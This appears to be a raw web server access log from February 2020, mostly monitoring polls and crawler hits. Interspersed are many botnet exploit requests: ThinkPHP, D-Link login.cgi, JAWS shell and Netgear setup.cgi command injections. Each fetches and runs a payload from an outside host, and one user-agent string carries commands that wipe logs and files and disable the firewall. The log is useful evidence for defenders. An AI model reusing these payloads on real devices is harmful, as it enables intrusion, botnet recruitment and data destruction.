117.0.196.128 - - [19/Feb/2020:07:46:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:07:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.48.235.1 - - [19/Feb/2020:07:49:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [19/Feb/2020:07:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.65.201.71 - - [19/Feb/2020:07:51:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:07:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.183.129.21 - - [19/Feb/2020:07:57:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:07:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.189.18.82 - - [19/Feb/2020:08:00:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.255.217.74 - - [19/Feb/2020:08:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:08:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.174.25.212 - - [19/Feb/2020:08:08:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:08:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.3.69 - - [19/Feb/2020:08:10:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:08:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.57.7.209 - - [19/Feb/2020:08:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:08:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.190.141.69 - - [19/Feb/2020:08:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:08:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.52.2.186 - - [19/Feb/2020:08:13:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:08:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.140.90.42 - - [19/Feb/2020:08:14:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.17.132.27 - - [19/Feb/2020:08:15:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:08:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.227.119.103 - - [19/Feb/2020:08:17:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
88.227.119.103 - - [19/Feb/2020:08:17:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:08:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.247.11 - - [19/Feb/2020:08:20:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
51.254.59.113 - - [19/Feb/2020:08:20:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:08:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [19/Feb/2020:08:22:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:08:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.150 - - [19/Feb/2020:08:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:08:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [19/Feb/2020:08:26:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:08:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.10.219.209 - - [19/Feb/2020:08:27:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:08:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.225.21.27 - - [19/Feb/2020:08:27:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:08:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.65.201.71 - - [19/Feb/2020:08:32:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:08:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.224 - - [19/Feb/2020:08:35:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:08:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [19/Feb/2020:08:36:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:08:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.188.233 - - [19/Feb/2020:08:40:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:08:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.230.220.5 - - [19/Feb/2020:08:43:06 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [19/Feb/2020:08:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.189.18.82 - - [19/Feb/2020:08:57:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:08:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:08:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.123.226.209 - - [19/Feb/2020:09:02:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:09:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.29 - - [19/Feb/2020:09:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:09:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.82.80.193 - - [19/Feb/2020:09:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:09:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.109.200.214 - - [19/Feb/2020:09:12:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [19/Feb/2020:09:15:26 +0100] "GET /leistungen.php HTTP/1.1" 400 6160 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.96.234.255 - - [19/Feb/2020:09:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.43.43.13 - - [19/Feb/2020:09:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.183.207.237 - - [19/Feb/2020:09:16:52 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:09:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.65 - - [19/Feb/2020:09:18:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
110.228.206.86 - - [19/Feb/2020:09:18:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:09:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.38.5.43 - - [19/Feb/2020:09:19:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
92.45.250.237 - - [19/Feb/2020:09:19:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
92.45.250.237 - - [19/Feb/2020:09:19:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:09:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:09:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.242.98.79 - - [19/Feb/2020:09:22:27 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://42.242.98.79:45873/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [19/Feb/2020:09:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
